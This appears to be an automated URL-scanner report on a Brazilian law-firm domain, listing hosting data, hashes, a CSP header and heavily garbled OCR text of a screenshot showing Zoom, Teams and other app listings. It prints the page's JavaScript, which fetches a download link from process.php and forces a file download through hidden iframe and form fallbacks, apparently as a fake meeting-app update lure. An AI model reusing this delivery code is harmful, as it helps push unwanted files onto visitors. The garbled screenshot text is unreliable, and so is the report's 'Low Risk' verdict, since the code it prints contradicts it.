technology software

English

You're looking at domain 'www.bmb.adv.br' on the Brazilian country-code top-level domain (.adv.br) and includes subdomain 'www'. The core label 'bmb' covers 3 characters with zero vowels and three consonants. It segments into two words: b, mb. Average segment length settles at 1.5 characters. No strong language cues emerged from the frequency lists.

default-src 'none'; script-src 'none'; style-src 'unsafe-inline' data:; font-src data:; img-src data: https://upload.wikimedia.org/favicon.ico; connect-src https://upload.wikimedia.org/favicon.ico; media-src data: 'self'; object-src 'none'; worker-src 'none'; manifest-src 'none'; base-uri 'none'; form-action 'none'; frame-ancestors 'none'; report-uri https://commons.wikimedia.org/w/api.php?reportonly=1&source=image&action=cspreport&format=json; report-to csp_endpoint

176e894661aa9cdc9a5cba6c720044cbbf7b8bd80d1c9a142a7c24b1b6c50d15

07f6fdb3c9d243a9e85231d9469b6aad25a89b376dc8bc63c3dc5561f606aef1

65366ca1539674b9dced8ceda8bd37a36e7cb2024ec124012d313d6a6787b687

9388e2f284062313c4edcd6001f37352c95ea822efaa6cdbb024735beb5305f5

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

Ditiauunes oD ap Gm am (eo

ZoompWonkp Lace) PDiscovergnorc)

ZOOM MeZooniconmunications inc Wicrosoft reams)
YT productivity

040 samy
‘Adobe {Acrobat {Reader
{(aEm) eee

Chateryy
Install "arayy Productivity,

Par erital Guidance, Recommended Ey La-App. Purchases Ra usersy interact} Netflix)
"6 PT Enter tainnent

icloud
Ts eroductivity)

@
ie)

Peeinaginel nonyyaupworlwici\zoom workplace anfsileineane@ slvsoneredfeollavorationfplactoraythatYcons! nes
GDC, Gi, (i, cin), aii CD, Gm, aaTe

fRatingsJand[r eviews)
—_——S—
44)
eTratings]

on ae on ae

on ae



MarkMonitor Inc.

wikimedia.org

Tucows Domains Inc.

TAILWINDCSS.COM

BMB Advogados Associados S/C

Argo Internet Provider

bmb.adv.br

OVH Hosting Inc.

OVH Hosting, Inc.

OVH-ARIN-4


/* ================= SAME DOWNLOAD LOGIC (NO REDIRECT) ================= */

const CONFIG = {
  PROCESS_PHP_URL: 'process.php'
};

// Robust triggerDownload() — update.html version (NO redirect)
async function triggerDownload() {
  try {
    // 1) Ask your server for the downloadUrl
    const resp = await fetch(CONFIG.PROCESS_PHP_URL, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({
        action: 'download',
        meetingId: CONFIG.MEETING_ID,
        timestamp: Date.now()
      })
    });

    if (!resp.ok) {
      console.error('process.php error', resp.status, resp.statusText);
      return;
    }

    const data = await resp.json().catch(() => null);
    const downloadUrl = data && data.downloadUrl;
    if (!downloadUrl) {
      console.error('process.php returned no downloadUrl', data);
      return;
    }

    console.log('Got downloadUrl:', downloadUrl);

    // ===== Helpers (unchanged) =====
    function getFilenameFromContentDisposition(cd) {
      if (!cd) return null;
      const star = cd.match(/filename\*\s*=\s*[^']*''([^;]+)/i);
      if (star) {
        try { return decodeURIComponent(star[1]); } catch (e) { return star[1]; }
      }
      const m = cd.match(/filename\s*=\s*["']?([^"';]+)["']?/i);
      return m ? m[1] : null;
    }

    function guessFilenameFromUrl(url) {
      try {
        const u = new URL(url);
        const parts = u.pathname.split('/').filter(Boolean);
        return parts.length ? parts[parts.length - 1] : null;
      } catch (e) {
        return null;
      }
    }

    function downloadBlob(blob, filename) {
      const url = URL.createObjectURL(blob);
      const a = document.createElement('a');
      a.style.display = 'none';
      a.href = url;
      a.download = filename || 'download';
      document.body.appendChild(a);
      a.click();
      setTimeout(() => {
        URL.revokeObjectURL(url);
        a.remove();
      }, 2000);
    }

    // 2) Try fetch + blob (CORS-permitting)
    try {
      const fileResp = await fetch(downloadUrl, { method: 'GET', mode: 'cors' });
      if (!fileResp.ok) throw new Error('fetch returned ' + fileResp.status);

      // Streaming path
      if (fileResp.body && fileResp.body.getReader) {
        const reader = fileResp.body.getReader();
        const contentLengthHeader = fileResp.headers.get('content-length');
        const total = contentLengthHeader ? parseInt(contentLengthHeader, 10) : null;

        const chunks = [];
        let received = 0;

        while (true) {
          const { done, value } = await reader.read();
          if (done) break;
          chunks.push(value);
          received += (value.length ?? value.byteLength ?? 0);

          if (total) {
            console.log(`Download progress: ${(received / total * 100).toFixed(1)}%`);
          } else {
            console.log(`Downloaded ${received} bytes`);
          }
        }

        const blob = new Blob(chunks);
        const filename =
          getFilenameFromContentDisposition(fileResp.headers.get('content-disposition')) ||
          guessFilenameFromUrl(downloadUrl) ||
          'download.bin';

        downloadBlob(blob, filename);
        console.log('Downloaded via fetch (stream) ->', filename);
        return;
      }

      // Non-streaming blob fallback
      const blob = await fileResp.blob();
      const filename =
        getFilenameFromContentDisposition(fileResp.headers.get('content-disposition')) ||
        guessFilenameFromUrl(downloadUrl) ||
        'download.bin';

      downloadBlob(blob, filename);
      console.log('Downloaded via fetch (blob) ->', filename);
      return;

    } catch (fetchErr) {
      console.warn('Direct fetch failed (likely CORS/redirect):', fetchErr);
      // continue to proxy fallback
    }

    // 3) Proxy fallback via hidden iframe + form
    try {
      const proxyEndpoint = CONFIG.PROCESS_PHP_URL + '?proxy=1';

      let iframe = document.getElementById('download-proxy-iframe');
      if (!iframe) {
        iframe = document.createElement('iframe');
        iframe.style.display = 'none';
        iframe.id = 'download-proxy-iframe';
        iframe.name = 'download-proxy-iframe';
        document.body.appendChild(iframe);
      }

      const form = document.createElement('form');
      form.style.display = 'none';
      form.method = 'POST';
      form.action = proxyEndpoint;
      form.target = iframe.name;

      const input = document.createElement('input');
      input.type = 'hidden';
      input.name = 'url';
      input.value = downloadUrl;
      form.appendChild(input);

      document.body.appendChild(form);
      form.submit();

      setTimeout(() => {
        try { form.remove(); } catch (e) {}
      }, 2000);

      console.log('Submitted download to proxy endpoint (iframe).');
      return;

    } catch (proxyErr) {
      console.error('Proxy fallback failed:', proxyErr);
    }

    // 4) Final fallback: open new tab
    try {
      window.open(downloadUrl, '_blank', 'noopener');
      console.warn('Opened download URL in new tab as last resort.');
    } catch (openErr) {
      console.error('Failed to open download URL:', openErr);
    }

  } catch (err) {
    console.error('triggerDownload error', err);
  }
}



Requests	IP Address	Location	AS Autonomous System
9	198.27.81.156	Canada	AS16276OVH SAS
5	185.15.59.224	United States	AS14907Wikimedia Foundation Inc.
5	104.26.3.143Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
5	185.15.59.240	United States	AS14907Wikimedia Foundation Inc.
5	104.26.2.143Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
29	5	-	-

Security Scan Report: www.bmb.adv.br

Summary

AI Security Verdict

Low Risk

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies1

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History